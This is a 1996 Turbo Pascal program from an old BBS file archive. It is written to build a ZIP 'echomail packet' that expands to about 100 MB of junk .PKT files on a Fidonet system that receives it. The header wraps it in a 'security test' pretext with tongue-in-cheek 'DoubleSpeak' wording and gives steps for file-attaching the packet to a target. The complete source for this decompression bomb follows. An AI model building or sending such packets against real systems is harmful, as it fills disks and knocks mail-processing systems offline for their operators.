home *** CD-ROM | disk | FTP | other *** search
- (* *)
- (* MAKEA.PAS - A Turbo Pascal Program for testing Fidonet echomail security *)
- (* *)
- (* This program was written and tested in Turbo Pascal 7, it should compile *)
- (* fine in TP5.5 and 6 if that's what you have. This file should compile *)
- (* right "out of the box" without modification; if it doesn't you might have *)
- (* a hacked or corrupted copy. *)
- (* *)
- (* This program aids in testing the security of echomail systems in Fidonet *)
- (* by creating a valid ZIP archive echomail packet. This packet appears *)
- (* relatively innocuous at about 100k in size (typical for many echomail *)
- (* systems) but it contains PKT files which expand to a megabyte apiece. *)
- (* Up to 100 of these 1 meg files will be created, if the target system's *)
- (* hard drive has enough space. Fortunately, only one 1MB file is created *)
- (* on your system when you run the program. You should have 1.5 MB free. *)
- (* *)
- (* To test the security of another system, take the following steps: *)
- (* *)
- (* (1) Compile and run this program. It will create a packet file calling *)
- (* PKZIP.EXE (if found on your path). This operation will take several *)
- (* minutes, depending on the speed of your system. *)
- (* *)
- (* (2) File-attach the file to the target system. It is very important *)
- (* that you use your own mailer with all your addresses intact and that you *)
- (* not use Caller-ID blocking, so that the target sysop knows that this is *)
- (* only a test and not an actual attack by a crasher. *)
- (* *)
- (* That's it. If the target system's echomail processor is insecure, there *)
- (* will be up to 100 megs of .PKT files in the target's echomail directory. *)
- (* If you are worried you might fill the target's hard disk during this *)
- (* test, you should modify the program so as to decrease the number of files *)
- (* added to the packet or the size of those files. A larger number of small *)
- (* files will result in a larger packet size, and unfortunately, a higher *)
- (* likelihood that the test will *completely* fill the hard drive should the *)
- (* target be careless enough not to have 100 megs free. And of course, NEVER*)
- (* send such a packet to someone who is unaware that you are conducting a *)
- (* security test or at a time when the target sysop is unlikely to be *)
- (* present to delete the .PKT files! *)
- (* *)
- (* This program is presented in source form because: *)
- (* *)
- (* - this way you know for sure it has no virii or trojan surprises *)
- (* *)
- (* - you can totally reconfigure it or add features *)
- (* *)
- (* - it's free and I don't care who hacks it up or how *)
- (* *)
- (* - a real hacker has at least the minimal programming skill needed to *)
- (* compile a pascal program! *)
- (* *)
- (* *)
- (* Program and DoubleSpeak Docs [K] KopyLeft 1996 The Kopyleftist *)
- (* *)
-
- {$M 8192,0,0}
- uses dos;
- var i:longint;
- name,nextname:string;
- zipexe:string;
-
- procedure make1megfile(filename:string); {makes a 1 meg file full of 6's}
- var f:text;
- begin
- assign(f,filename);
- rewrite(f);
- for i:=1 to 10000 do
- write(f,'6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666');
- flush(f);
- close(f);
- end;
-
- procedure add2zip(zipname,filename:string);
- var c,p:string;
- begin
- c:=zipexe;
- p:=zipname+' '+filename;
- swapvectors;
- exec(c,p);
- swapvectors;
- end;
-
- procedure _rename(oldname,newname:string);
- var f:file;
- begin
- assign(f,oldname);
- rename(f,newname);
- end;
-
- procedure getzipexe;
- var s:pathstr;
- begin
- s:=fsearch('PKZIP.EXE',getenv('PATH'));
- if
- s=''
- then
- begin
- writeln('Unable to locate PKZIP.EXE in path!');
- halt;
- end;
- zipexe:=s;
- end;
-
- begin
- writeln('Makea by The Kopyleftist');
- getzipexe;
- name:='1.PKT';
- writeln('Creating prototype file...');
- make1megfile(name);
- writeln('Adding 100 copies to bogus echomail packet zipfile 0000FFFF.MO0...');
- add2zip('0000FFFF.MO0',name);
- for i:=2 to 100 do
- begin
- str(i,nextname);
- nextname:=nextname+'.PKT';
- _rename(name,nextname);
- name:=nextname;
- add2zip('0000FFFF.MO0',name);
- end;
- end.
-
- (* Uploaded to: Tommy's Holiday Camp BBS 1-604-361-4549 *)
-